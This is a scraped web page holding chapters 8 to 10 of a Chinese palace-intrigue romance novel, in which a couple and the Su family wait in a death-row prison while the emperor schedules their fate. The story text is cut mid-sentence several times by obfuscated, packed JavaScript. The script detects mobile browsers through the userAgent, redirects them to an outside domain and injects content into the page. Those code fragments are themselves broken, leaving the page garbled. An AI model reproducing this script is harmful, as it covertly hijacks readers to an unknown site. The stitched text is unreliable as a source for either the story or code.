RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762884|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑了,她不知摸到了哪里,只感觉到手下有温热的脉络搏动。她好像摸到的,是他脖子处的血管,她便继续往上摸。 不一会儿,手被握住,熟悉的宽大手掌将她的手牢牢掌控,随即,她感觉自己的手被放到了一处温滑细腻之处。 她手动了动,那手掌便撤开,任由她动作。 她摸到了他微凉的唇,而后摸到了他的脸颊——是干的。 她有些失望地抽回手。 这男人竟没哭! 将她惹哭这么多回,他却一次也没在她面前哭过——哪怕在她现下什么也看不见的情况下! 她越想越不甘心,恨恨地在他胸口位置咬了一口。 苏琯璋这粗莽武夫像是没有痛觉似的,一声也不吭,甚至还在她耳边轻笑了声。没有衣裳的阻隔,宣槿妤直接咬到了熟悉的位置——是他的锁骨处。 因侧躺着,又经方才一番动作,宣槿妤转身时无意将苏琯璋的衣领扯散了些,是以她才咬到了这里。 想起平日里尤其夜间她都在什么时候咬的这人这处,宣槿妤面色发烫,不由松了口。 苏琯璋双手附上来,将她的身子揽紧,被宣槿妤在手臂上狠狠掐了一把。 她只是暂时不生气了,不代表这个人就可以像往日一般想对她怎样就怎样。 黑暗中,她心底的声音在告诉她:在这座牢房里,她可以当作此前什么都没有发生过,他们还是夫妻。 至于他心里藏了人、又偷偷吃避子药的事,等她出了牢房,还是要计较的。 宣槿妤又想起了外祖父说的那句“赴死”,掐人的手劲也松了,将头靠在他胸膛,眷恋地闻着他身上如初雪般微凉清淡的气息。 “不会有事的。”苏琯璋总是很轻易便能猜透她的心思,即便是在这样紧紧相拥也不能见到彼此的黑暗里。 宣槿妤没有说话。 “时间仓促,来不及安排,但苏家外头有人,不会有事的。”苏琯璋贴近她的耳朵,将声音压得极低,慢声道。 这人从未骗过她,宣槿妤相信了,心里顿时安稳下来。 只是她不知是忘记了还是从不知晓,这人是从未骗过她,但他从不会和她说所有的事——非要说或者被她逼问的时候,也只是说好的一半,藏起另一半。 苏琯璋确实只说了一半。 苏家在外有人是不错,但他也没把握苏家此次定能脱身。 上位者的心思向来多变,他拿准的只是正常君主的思维。 一旦龙椅上那位不管不顾,拼着损失朝中大半势力、无视边境处的虎视眈眈、也无视朝野可能出现的动乱,定要将他们苏家一家置于死地;那便是他算计安排得再多,也无济于事。 依他对盛誉的了解,他可能发疯的可能性更大。只看他是冷静地发疯,还是失了理智地发疯。 “我告诉你,我只是暂时原谅你了。”宣槿妤终于忍不住伸手抱住他,将头埋到他颈侧,“出了这座牢房,我们还是要和离的。”她声音闷闷的。 苏琯璋面色一变。 “槿妤,我……” “闭嘴,我不想听你说话。”想到白日里那两个嬷嬷说的话,和他放在书房桌案上的那只装了避子药的药瓶,宣槿妤又再次恨得牙根痒痒的。 “够男人,臭男人!” 8. 第 8 章 苏琯璋有心解释,但耳中已经敏锐地察觉到牢房中不知何时多了一股陌生的气息,心中一凛,抱紧宣槿妤,没有说话。 四座牢房中,除了年纪尚小的七个孩子,和全然不懂武功的宣槿妤,其余尽是武将世家出身,自己也是个练家子,也都很快察觉到了暗处有人。 苏声沉声道:“彤姐儿、燕姐儿、雯姐儿,回你们娘亲身边去。启哥儿,带弟弟们回祖父这里。” 三个小女孩儿听出了祖父/伯祖父话中的警惕与慎重,听话地离开了牢门口,摸索着往后退,很快有娘亲熟悉的气息将她们包围。 启哥儿带着三个弟弟,顺着祖父声音传来的方向,也很快回到他身边,警觉地靠在墙上。 宣槿妤心中一颤。 无边无际的黑暗中,像有猛虎蛰伏,随时要扑上来将他们撕个粉碎。 孩子们窸窸窣窣的脚步声停下时,整座死牢里便仅剩下让人难以忍受的安静,呼吸声微不可闻。 宣槿妤什么也没察觉到,只感受到了苏琯璋身子的紧绷,和公公苏声话中的凝重,不由得抬起头来。 出于本能,她对这种安静感到极端的不适。 “无事。”苏琯璋将她的头按回颈侧,揽着她慢慢坐起身来,整个人紧绷得如同蓄势待发的弓弦,随时可以发出去,给敌人致命一击。 安静终于被打破。 斜对面牢房的苏声已经确定七个孩子的安全,继续开口,“阁下何不现身?” 回答他的,是死一般的寂静。 就连宣槿妤,也不由得屏住呼吸。 谁也没有动作,苏琯璋揽在她腰间的手也一动不动。 不知过了多久,有微弱的风拂过,急急往死牢通道掠去。 不多时,躺在地上许久没有动弹的狱卒终于睁开了眼睛,嘴里咕哝着什么,睡眼惺忪地爬起来,重新点亮了火把。 这回苏声没再要求他熄灭火光。 宣槿妤没有听到他口中念叨的是什么话,但苏琯璋已经听见了。 狱卒说的是,“我怎么睡过去了?奇怪。” - 皇宫。 即正殿后殿。 “啪”的一声,握在帝王手中小巧玲珑的酒杯被他徒手捏得粉碎。 怒气很快缠绕他周身,盛誉阴气沉沉地盯着跪在地上的暗卫,“什么叫‘一无所获’?嗯?” 暗卫低着头,没有答话。 “回答朕。”清脆的碎裂音再度响起,先是“咔擦”一声,再是瓷器被掷于地面的“啪嗒”声。 而后便有淡淡的血腥之气弥散开来。 习武之人感官多敏锐,何况是这种熟悉的,他们常闻到的味道。 暗卫终于微微抬起头,伸出双手,比划了一个手势。 殿中只有盛誉和面前的暗卫,还有侍立一旁的吴太监。 暗卫继续比划着什么。 吴太监看不懂,也不敢看懂,但他却是毫不意外面前的暗卫不说话只比划手势。就好像,面前的事他已经习惯了。 暗卫停下手中动作,双手继续垂放在身体两侧,保持着恭敬无害的姿势,表示着他的绝对臣服。 但盛誉仍是盛怒不已。 怎么敢,他们怎么敢? 分明已经到了双方都签署了和离书的地步,又身在狱中,他们竟还能如此…… 他仿佛能看到黑暗中相拥的一对男女,在殷殷私语…… 怒火充满心头,翻搅得他无处安身,也搅扰得他险些失了理智。 他冷冷地看着暗卫,足足有一盏茶时间。 久到吴太监放轻了呼吸,以为他要杀了面前的暗卫,才有低哑暗沉的怒喝声响起。 “退下。” 来客既已消失,苏琯璋慢慢地放松了身子。 宣槿妤察觉到他身上的变化,抬头看着他的眼睛,“刚才来的人走了吗?”她小声地问,声音里带着后怕。 苏琯璋“嗯”了声,在她额头上亲了亲,“别怕。” 二人双目相接,他看到她眼中的害怕在慢慢消散。 孩子们没有被方才的事情影响,继续玩闹起来,在大人身后玩“躲猫猫”的游戏,时不时发出清脆的笑声。 宣槿妤听着侄子侄女们的玩闹声,心里慢慢安定下来。 她伸手附上苏琯璋环在她腰间的手,带着它往下挪,而后停下,那里,是他们孩子的孕育之处。 “在这座牢房里,我们还是夫妻,你要保护好我。” 纤细柔软的掌心和宽大温厚的手背相贴,宣槿妤望进他温淡却含了几分柔意的眸子,声音里带上了几分委屈——是二人情浓时她惯常和他撒娇时的语气。 苏琯璋心一颤,反手握住她乖巧不动的素手,“好。” 他慢慢倾身,温热的吐息试探性地落在她的脸上,见她没有抗拒的意思,便忍不住低下头,吻住了她。 时隔月余,他们终于再次唇齿相依,虽然是在这样简陋的环境中,周遭还有长辈嫂嫂们和孩子们。 宣槿妤被他深深地吻住,心神也在微漾,眼睫颤了颤,眼神无意识地划过遮挡床榻的素色围帘,揪紧了他背后的衣裳。 翌日。 狱卒身后跟了一名衣着朴素的姑娘,二人沉默地将一只只食盒依次放进牢房中,再换了洗手盆中的水,将里边的恭桶换好。 等二人离去,食盒被打开,饭食的香气萦绕整座牢房,宣槿妤仍是没有醒来。 许玉娘小声地问儿子,“槿妤怎么样了?怎的还未醒?是不是昨日被吓到了?” 在她看来,出身文臣之家的小儿媳娇娇气气的,就该如同被娇养在温室暖棚中的兰花,受人呵护。而不是像如今这般,陪着他们在这四寂无声的死牢里受苦。 何况,她已有身孕,更该小心谨慎才是,但昨日她却受他们所累,定是受了不小的惊吓。 苏琯璋已经为妻子诊过脉,心下有数,便回:“无碍,孕中的正常反应。” 见母亲仍是一脸的担忧,他便补充说道:“母亲不必担心,儿子会照顾好她的。” 照顾?在这死牢里他拿什么照顾? 许玉娘没好气地瞪了他一眼。 “你能有如今的待遇,还是多得你丈母娘关照,你这话说得也不心虚。” 苏琯璋沉默了。 他无法反驳母亲的话。 他心里第一次生出无尽的悔意来,若非…… 他在想,若他昨日没有犹豫,及早签了那和离书送去京兆府盖印,她便不会随他到这牢里来。 是他连累了她,害她受苦。 许玉娘话一出口,便见常年一脸冷淡的儿子脸上浮起类似后悔的情绪,一时愣住。 她从未在这个小儿子身上见过他这副模样。 苏老夫人早就留意到母子二人的对话,见状走了过来,“别什么事都揽在自己身上。” 她甚少对小辈语重心长地教导什么,只这会儿,她才轻轻握紧幼孙的手,对他说:“璋小子,你自小聪颖,该知道,这一切都不是你的错。” 苏琯璋只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762885|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点了点头,没有说话。 许玉娘也反应过来,她平日里怼儿子怼习惯了,一下子忘了这是在何处。“娘相信你,即便再苦,你也能照顾好槿妤。” “回去罢!娘看槿妤好像已经醒了。” 不用母亲提醒,苏琯璋也已经看到了围帘后若隐若现慢慢坐起的倩影。 等他走到围帘后,宣槿妤已经完全清醒,右手正放在小腹上。 他发现,自宣府府医宣布她有了身孕之后,她就经常会有意或无意识地将手放在那里,似在确定什么,又好像只是单纯地想摸摸那个还未成型的孩子。 她竟如此在意孩子。 苏琯璋心里颤了颤,想起新婚时岳母和他商议待她长大一些再要孩子时她的不满,和元日他承诺不再服用避子药时她的欢悦。 他在她旁边坐了下来,也将手放在她腹上,就叠放在她手背上。 “抱歉。”他说,语气里泄露了一丝心疼。 他知道她昨日在宴席上听到了什么,甚至他还设计挑起她已经消散的怒气。 “避子药我没吃,三个月前我们说好了要孩子的那日开始,就一直没吃过。”苏琯璋附在她耳边,低声说道。 孩子已经两个多月了,也就是说,他才停用避子药堪堪半个月,她便有了身孕。也是,年节时他们又有过一段美好的时日。 他没吃避子药……宣槿妤怔了怔,“那昨日……?” 苏琯璋看进她眼中,心里发涩,他扯出一个笑,“昨日我也没吃。” 没吃,还是没来得及吃? 宣槿妤忽然就不想知道了。 就如同她昨夜跟他说的,在这座牢房里,他们的关系还能撑一撑,维持着未曾破裂的模样。 “我饿了。”她已经闻到了膳食的香气。 不知是否是怀了孩子的缘故,她今日尤其地饿,好似很久没有吃东西了一样。 “我去给你端水洗漱。”苏琯璋将她落于颊边的碎发挑到而后,才转身出了围帘,仿佛没有察觉到宣槿妤方才那瞬间的迟疑和探究。 也幸好她没有探究。 不然他也不知道是否要继续将真相告知于她。 新帝还未放弃对她的觊觎,苏家也还未解除眼下的危机,他忽而感到后怕。他已经牵连了她一次,怕再一次断了她的退路。 小方桌上的火炉已经熄灭,苏琯璋伸手探了探铜壶的温度,将其取了下来。 “条件简陋,委屈你将就些。”宣槿妤漱了口擦了脸,苏琯璋取出怀中的手帕,浸水拧得半干,亲自为她擦手时这样说道。 宣槿妤感受到他的温柔,目光落在那方手帕上。 狱卒送来的手巾有些粗糙,不及他怀中这方手帕柔软,方才宣槿妤也是用的自己的帕子擦脸。 她很快认出,这帕子是她送给他的;是她嫁给他的第一个月,两人情浓时她心血来潮为他绣的。 她娇气,向来不愿受累,那是她第一次心甘情愿为他做的第一方帕子,也是最后一方。 因为在他收到帕子,将她抱到床上表达他的喜欢和欢愉之后,她在夜间梦到了已经很久没有出现在她梦中的夫子。 除了爹娘和三哥哥,没人知道,自幼教导她的女夫子,是在她面前活活被烧死的。且她死前还在对她笑,笑着让她记得夫子用生命教导她的最后一件事。 从那之后,她便常常想起那日冲天的火光,和夫子含笑的脸。 然后,她和苏琯璋甜蜜恩爱的夫妻情谊,生生被她亲手割出了一道道痕迹。 9. 第 9 章 宣槿妤看着这个什么也不知道的男人,一时心痛如绞。 “槿妤?”宣槿妤一时未发一言,苏琯璋拧干手帕晾在铜盆边时回头便见她眼中泪珠子成串落下,有些慌。 “是不是太饿了,嗯?”他急忙取过食盒,小心地将里边的包子肉粥小菜端出来。 苏琯璋伸手去擦宣槿妤的泪,却是越擦越多,便不敢再动手。随即舀了粥,端着碗用羹匙轻轻搅着,轻声问她:“我喂你吃粥,好不好?” 宣槿妤依旧无声无息地哭着。 苏琯璋看得心如刀割。 她向来想哭便哭,想笑便笑,要闹便闹得人尽皆知,全然不惧旁人眼光,何曾哭得这样安静过? 他放下碗,将她抱在怀中,“是我又做错了什么吗?” 苏琯璋苦笑,他总是将她惹哭。 母亲说得对,娶了她,是他前生修得的福气;但于她而言,却好似一场劫难。 “不哭了好不好?”苏琯璋摸到她有些偏快的脉搏,吻着她湿湿凉凉的小脸,“再哭孩子该不舒服了,你也在难受对不对?” 听到“孩子不舒服”,宣槿妤才慢慢止了泪,任苏琯璋用温热的帕子替她擦拭脸颊。 “你喂我喝粥。”苏琯璋转身重新清洗手帕时,她哑着嗓子说道。 苏琯璋照做。 慢慢喝完一碗粥,再吃了点清淡的小菜,宣槿妤便不再吃了,看着苏琯璋将剩下的早膳全部吃完,包括她只吃了一半便不吃的包子。 等他收拾好碗碟放回食盒,她摸了摸自己的眼睛,慢吞吞地跟在他身后走出了围帘。 她知道,自己的眼圈应该还红着。 虽然在苏家人面前这样有点丢脸,但她想她在苏家时常和苏琯璋闹和离,苏家上下皆知晓。且孩子们也经常做他们中间的传话者,她丢脸已经丢习惯了。 所以她大大方方地走出了围帘,在许玉娘招呼她过去时走到了铁栅栏边。 “娘。”她不好意思地唤人。 昨日她回府时本该到上房去请安的,但因为苏声在,许嬷嬷劝下了她。又听闻苏琯璋回来了,她便急着回荆竹园见人。 而后来发生的事情过于出人意料且迅速,她昨日进入牢房后一直没怎么搭理苏家人,现在想想脸上都有点烧得慌。还未和离,她还是苏家小少夫人呢! 她性子虽娇气了些,但基本的礼数是周全的,外人瞧着她虽觉得她不好相处,但绝不会质疑她的礼数涵养。 都怪苏琯璋。 一遇到他,她就常控制不住自己。 若非苏琯璋现下不站在她面前,他非得挨她一记瞪不可。 孩子们是闲不住的。 用完早膳不到一盏茶时间,年纪最小的苏玉慕已经坐不住了,吵着要出去玩儿。小孩子的嗓门大得估计通道外头的人都能听到。 苏玉慕还有半年才满三岁,正是待不住的时候。 昨日一家遭难没有吓到他,他也正对死牢新奇着,所以不吵不闹。但过了一夜,见他们一家还在牢房里,心里便忘记了娘亲昨日叮嘱过他的话。 他先是找了娘亲,但丁茜茜不许。 “慕哥儿,忘记昨日娘和你说过什么了?不可以吵,不可以闹对不对?”丁茜茜板着脸,“你看姐姐们哥哥们都乖乖的。” 爹爹出门打仗前交代过他不可以惹娘亲生气的,这是男子汉要做到的事。 见丁茜茜有发怒的征兆,慕哥儿便不闹了。 他想了想,走到苏声面前,将一张稚嫩的小脸凑到他面前,乖巧地撒娇,“伯祖父,慕哥儿想要出去玩儿。” 伯祖父最喜欢捏他的脸蛋儿了,只是粗糙的手老是弄得他脸上发红,他平日里总是躲着不给捏。但有求于人,他就大方一点,给伯祖父捏。 苏声见孩子藏不住半点心思的小脸,不由失笑,随即毫不客气地在小侄孙绵软的脸上捏了一把。 “伯祖父捏疼慕哥儿了,要赔给慕哥儿出去玩的。”苏玉慕慢吞吞地说道。他如今说话已经很顺畅了,但一口气说这么一大句话还不怎么流利。 “伯祖父也没办法让你出去玩儿。”苏声将他小小的身子抱在怀中,“伯祖父教你读书好不好?” 读书最不好玩儿了,常听五哥哥苏玉桓抱怨的苏玉慕皱起了眉。 小小的人儿居然还会皱眉,苏声眉头微挑。 他养了两个儿子,一个比一个呆板,实在无趣。不想快到知天命的年纪,却在侄孙身上感受到了养娃的乐趣。 “慕哥儿,大哥哥要练武了。你还小,先跟祖父读书,改日哥哥教你习武。”苏玉启见小弟弟态度有了松动,忙开口。 苏声含笑看着长孙。 虽然长孙也学了他父亲,小小年纪便有了稳重之态,让他少了逗娃的心思,但他心里却十分自得。同辈的武夫们孙辈个个调皮捣蛋,谁人不羡慕他家的孩子乖巧懂事? “那启哥儿就带着弟弟妹妹们扎马步,祖父看着你们。” 于是分散在三个牢房里的七个孩子都有了事情做。 大些的六个孩子扎着马步,安安静静的,偶尔苏声会开口指点一两句,因为才四岁的龙凤胎苏玉桓和苏玉雯姿势还不大标准。 只有苏玉慕跟着苏声在学《三字经》,稚声稚气却响亮清脆的童音回荡在牢房里,“人之初,性本善。……” 为免扰到孩子们,大人们歇了闲谈的心思。 矮凳坐着不舒服,宣槿妤便回了围帘后的床上坐着。不必许玉娘催促,苏琯璋自觉地跟在后头。 不多时,通道里响起滚轮声,宣槿妤透过朦胧的围帘望过去时,恰见狱卒推着小车,将插在杆上将熄未熄的火把换了下来。 滚轮声远去,狱卒重新退回了通道里的小隔间里。 “现在是什么时辰了?”宣槿妤问苏琯璋。 “约莫辰时末。”苏琯璋回答。 见宣槿妤有兴致,苏琯璋便告诉她,“死牢里的火把是特殊制作的,延长了燃烧的时间,每一个火把大致能够燃烧一个时辰左右。” “大理寺监牢的早食时辰都在辰时正,刑部大牢也大致在这个时候。” “早前狱卒送完膳食之后换过一次火把,这是第二次。”苏琯璋解释得十分详细,全然不似他往日惜字如金的模样。 宣槿妤依偎在他怀中,“普通的牢房也会像这里一样,不见一点光,也听不到外面任何动静吗?” 苏琯璋吻了吻她的额头,“只有死牢和地牢才是这样的。” 他把玩着她纤长细嫩的手指,“大盛普通的监牢,泰半都有一扇小窗,供通风和照明之用。” “不会有人从小窗里边进去,劫走犯人么?”宣槿妤天真地问。 苏琯璋闷笑,为妻子这样可爱趣致的想法,“小窗对着的是衙门内部高墙,有卫兵值守的。” 看到宣槿妤脸上泛起红晕,他忍不住亲了亲她柔软的唇瓣。 “何况,普通监牢里的犯人,关押的时间不会很长,至多不过五年。而越狱,一旦被捉回来,刑罚加倍,严重者处死。” “所以甚少有人冒着这样大的风险劫狱。” 宣槿妤兴致颇浓,“还有呢?犯了重案的犯人会被关押在哪里?” 她读书时夫子从不和她说朝堂之事,只教导她礼仪、女工、为人处世之类贵女必学之事。 家中看管她又很严,虽疼惜基本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762886|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有求必应,但若涉及到她的学识教养,都有人把控——她连看个话本子都是成婚之后央苏琯璋给她淘来的。 而苏琯璋性子更是木讷无趣,买个话本子,里头写的都是风土人情、散文游记之类的。她时常怀疑苏琯璋在蒙她,但她没见过真正的话本子,哪里找得到证据指控他。 所以真的不怪她是个没常识,也没见识的姑娘。 话刚出口,宣槿妤便察觉到额上有温热的触感贴紧,好一会儿才分开。 “犯了重案的犯人,都要押送府城,被打入地牢;案件审理清楚报送大理寺后复核审批后,该怎么罚便怎么罚。若身份贵重,就会像我们这样,被关进盛京死牢。” 苏琯璋说完,宣槿妤沉默了好一会儿。 “你这次去扬州,办的是什么差事?”她忽然想到,她好像从未了解过他的差事,也好像从未有过去了解的心思。 夫子说,女子不该总将目光放在夫君身上,顾好自己、关心自己的心情才是首要的。 她以前从未质疑过夫子的话。 但这会儿,她有些犹疑,夫子说的一定是对的吗? 只是念头刚起,她眼前便浮现冲天火光。 不不不,夫子不会错的。 “怎么了?”苏琯璋敏锐地察觉到她的神情变化,“可是身体不适?” “没有,”宣槿妤恹恹答道,“你还没回答我的问题。”她还惦记着方才的问话。 苏琯璋还是为她把了脉,确认脉象没问题之后才松开手。 “扬州府上报大理寺的卷宗有点问题,我去核查了一番。” 原是这样。 宣槿妤顿时失了兴趣。 “你会医术?”方才见他一副专注把脉的模样,她有些好奇。 “幼时在道观住着,闲来无事和观主学了些;后来去了漠北,战时人手不足,军医让我跟在一旁打下手,教了我不少。”他寥寥带过,不让她听出内里残酷的真相。 宣槿妤嘟囔,“我都不知道。” 婆母和她说过苏琯璋幼时多病,在道观里住了很长一段时日,但没提起过他学医的事。 “家中有府医,我会医术的事没几人知道。”苏琯璋看出她在想什么,理了理她蹭乱的发丝。 “噢。”宣槿妤慢吞吞应声。 他竟连她也瞒着。 哼! 宣槿妤斜睨他,“你总是什么都不和我说。” “抱歉。”苏琯璋认真地看着她,“以后,你想知道什么,只要你问,我都说好不好?” “我不问你就不说了么?” “饭来了。”狱卒的声音从通道里传出来,打断了二人的对话。 宣槿妤回过神。 时间竟过得这样快! 她还记得她问苏琯璋时辰的时候,才是辰时末!这会儿都到午时了。 “先吃饭。”宣槿妤推开他,理好衣裳,走出了围帘。 除了新婚彼此之间还不怎么熟悉的那一个月,他们夫妻甚少有这样单纯闲话什么也不做的时候。 除了床笫之间,夫妻二人总是说不到一起去。 她总爱生气,气他不懂风情,气他面冷话少。 而他只会默默地忍让,哄人的时候甜言蜜语都不会说几句。 没料到他们夫妻二人能够好好地说话,竟是在这刑部死牢里。 宣槿妤不敢再听苏琯璋的答话,她怕听到不合心意的回答,坏了他们好不容易融洽的关系。 毕竟,她才说过,在这牢房里,她会好好当他的妻子。 苏琯璋看着微微拂动的帘子,目光沉沉。他有心要遮掩情绪的时候,谁也猜不到他在想些什么。 10. 第 10 章 午歇过后,宣槿妤不愿再待在围帘后,好似她和苏琯璋在做什么见不得人的事似的。 午时那狱卒来送饭时,见他们夫妻从围帘后齐齐走出来,憨厚刻板的面上霎时放光的模样,好似在说“我有发现”“你们小夫妻真恩爱”,简直让她臊得慌。 她面皮再厚,再不顾旁人看法,也只是对着家中爹娘和苏琯璋,这里公爹婆母都在,她还是会不好意思的。 于是,她一个下午都待在围帘外,苏琯璋默默陪着她。 上午了解了怎么通过火把更换次数换算时间,宣槿妤以为自己会一直留意着火把更换的频率,但实际上,狱卒来时她都不怎么留意到。 死牢里的生活并不是她以为的那样不可接受。 整个下午,她边和老夫人、婆母许玉娘,还有三个嫂嫂说话,听她们絮叨怀孕的注意事项,边观看侄子侄女们为逗她笑而编排的过家家游戏,脸上的笑意就没消失过。 到了傍晚用膳时,她才察觉到脸上有点僵——笑的时间太长了。 - 刑部死牢里温情脉脉,但今日一整日,前朝都不得平静。 早朝时关于苏国公府通敌叛国一事,朝堂里都吵起来了,还险些打了起来。 盛誉回到即正殿便砸了一套茶盏,砸完发现是他近来最心爱的那套天青色水纹样汝瓷,顿时怒气更甚。 “都怎么做事的?嗯?”他冲跪了一地的宫女太监发火,“都给朕滚出去,自己去领十个板子。” 宫女太监们连地上的碎片都不敢收拾,瑟缩着退出了大殿,仅有吴太监安静地留了下来,殿里落针可闻。 “你瞧瞧,文臣武官竟也会结成一系。”盛誉绕着大殿走了几圈,不小心提到地上的碎瓷片,顺着瓷片飞出去的位置,才看到不显存在感的吴太监。 吴太监不敢说话,只默默当皇帝的树洞。 “朕竟不知,要处决一个苏家,还要征得朝臣同意。”盛誉冷笑道,“不知道的,还以为他苏国公府不是通敌叛国,而是要夺了这盛氏江山了。” 吴太监“噗通”跪下,冷汗涔涔。 陛下这是气昏头了才说这样的话。 他在心底庆幸,方才汝瓷茶盏摔碎陛下盛怒散了这即正殿的宫女太监,不然还不知道要死多少人。 “吴太监你说,这苏家是不是要造反啊?” 文臣武官向来分两个阵营,彼此之间向来井水不犯河水。只苏家出事,他们便联合起来,一起朝他这个皇帝施压。 吴太监没有回话他也不在意,继续冷冷地说:“说是让朕三思,还不是在威胁朕。朕就不相信,朕就办不了这苏家。” 盛誉的目光和他的话音一样冷,瞧着吴太监的模样似在瞧一件死物。 “陛下息怒。”吴太监终于开口,努力止住话音里的颤抖,“苏家根系深,又得林家宣家相护,陛下要越发冷静,才能和朝臣抗衡。” 大盛朝堂上武官基本以苏家为首,文臣又基本以林家为首,如今苏家林家因为一个宣槿妤结合起来,确实难以对付。 吴太监感受到凝视在身上的那道恨不得将他剔骨剥皮的目光散去,身体慢慢委顿下来。 他陪伴了陛下将近二十年,主仆之间不说有多深情厚谊,但他起码和其余宫人不一样,可以性命无忧。 但方才他几乎要以为,他要像地上那碎了一地的瓷片般,落到个尸首分离的地步,比普通的宫人还要不如。 幸好! “你说得对。”盛誉深呼吸,让殿中香炉燃烧的冷香进入肺腑中,“朕要冷静,既已等了三年,就不怕再多等些时日。” 临近傍晚时分,林太傅进了宫。 “陛下,臣愿以这金腰带,换回苏家人一条生路。”林韧跪在地上,双手朝上,恭恭敬敬地奉上一条亮金色绣龙凤呈祥的御赐腰带。 盛誉手中的玉扳指轻轻磕在桌案上,发出清脆的“哒”一声。 殿中沉默了片刻。 “太傅可是想好了?金腰带是先帝御赐,可保一家平安,你确定要用在苏家人身上?” “哒哒哒”声再度响起,玉扳指有节奏地敲击着桌案,敲得吴太监心里一上一下的。 林韧脸色却没有任何变化,哪怕皇帝在他这老师面前这样失礼言语不敬动作胁迫,他眉头都没皱一下。 “回禀陛下,臣已深思熟虑。” 玉扳指停止了敲击。 “好,朕答应你。”盛誉终于给了林韧一个满意的回复。 “死罪可免,活罪难逃。”他示意吴太监去收了金腰带,居高临下地看着林韧,“老师,就判苏家流放漠北如何?” 林韧却没同意,“陛下,不可,漠北是苏家军所在之地。” 他和盛誉玩味的眼神对上,“苏家军认人,怕纵虎归山。” 盛誉怀疑这老头子在阴阳自己,却从他平静的目光中看不出半点端倪。 “那依太傅之见,该如何?” “为表公平,还给天下一个交代,”林韧俯身,“此事可于明日早朝时商议。” 盛誉应了。 林太傅告辞离去前,他突然问:“为保苏家,金腰带太傅都愿意交出来了,为何又不再继续帮下去?” 林韧没有回头,只道:“陛下,老臣保苏家,只是为了老臣那可怜的外孙女儿。而苏家今后的造化,与老臣再无干系。不相帮,是老臣身为朝臣,在为大盛着想而已。” 盛誉没有再说话,吴太监恭敬地将林韧送出了即正殿。 “老狐狸。” 很久之后,空荡寂静的殿中,传来盛誉几不可闻的声音。 - 死牢这头的访客是在众人用完晚膳之后才来的。 宣槿妤之父,宣兆亲自来了。 “爹爹。” “岳父。” 宣槿妤和苏琯璋站了起来。 宣兆朝女儿和女婿点了点头,却并不似妻子林清婉、岳丈林韧一般,一到这死牢便越过外头的牢房,直奔最里边的监牢。 他在最外围关押了苏国公和四个男孩子的牢房停了下来。 “亲家公。”宣兆温和地和苏声打招呼。 苏声也站了起来,朝他颔首,“今日怎的是你亲自来了?太傅他老人家昨日受了伤,可有妨碍?” 宣兆为人虽温和,但原则性极强,一向和处事圆滑的刑部尚书梁方方不合;昨日苏家林家又相当于和梁方方决裂了,今日竟还能进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762887|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得这刑部死牢。 不得不说,他又高看了梁方方两分。 宣兆冲担心地看着这边的女儿摆了摆手,才回答苏声,“无碍,只是老人家年纪大了,才又从宫中出来,精力不济,便遣了我走这一趟。” “正好,我也担心槿妤在这里的情况,便来了。” 宣槿妤闻言,放下心来,却又开始自责。 都是因为她,才劳累外祖父一把年纪的还在为她奔波。 若不是因为她,外祖父还是那个得皇帝尊敬的老师…… “别想太多,嗯?”苏琯璋俯身在她耳边安慰道,“外祖父不会想看到你自责的样子的。” 真要说起来,林韧奔波的源头还是在他们苏家。 苏琯璋垂眸,掩住了心里隐隐升起的一丝不安。 宣槿妤抬头看他,勉强应了一声“嗯”,便发现父亲已经和公爹说完话,在朝他们走来了。 “爹爹。” “岳父。” 二人再次唤了声。 宣兆应了,看着女儿和往日没多大变化的小脸,语气很是温和,“爹爹来看看你。” “爹爹不进来坐坐么?” 娘亲和外祖父来的时候,都让人打开牢门进来的,但是爹爹却没有一丝要进来的意思。 宣槿妤不由得抓紧了苏琯璋的衣袖,很快被他反手抓住小拇指,一点一点握紧她的手,直至十指交缠。 他实在很喜欢这样的亲昵,宣槿妤也是,任由他温热的体温一点一点将自己浸染。 掩映在衣袖之下些微的动静瞒不过眼前的宣兆,但他只是垂眸看着这对小夫妻的小动作,神情没什么变化。 “今日朝堂吵得很厉害。”宣兆说,和苏琯璋淡漠的眼神对上,眨了下眼,他知道女婿能看懂他的眼神。 宣槿妤伸出未和苏琯璋交握的右手,抓住了铁栏杆。 宣兆在她伸出来的手上拍了拍,像小时候哄她入睡轻轻地拍着后背一样。 “苏二叔踪迹还是未能找到。” 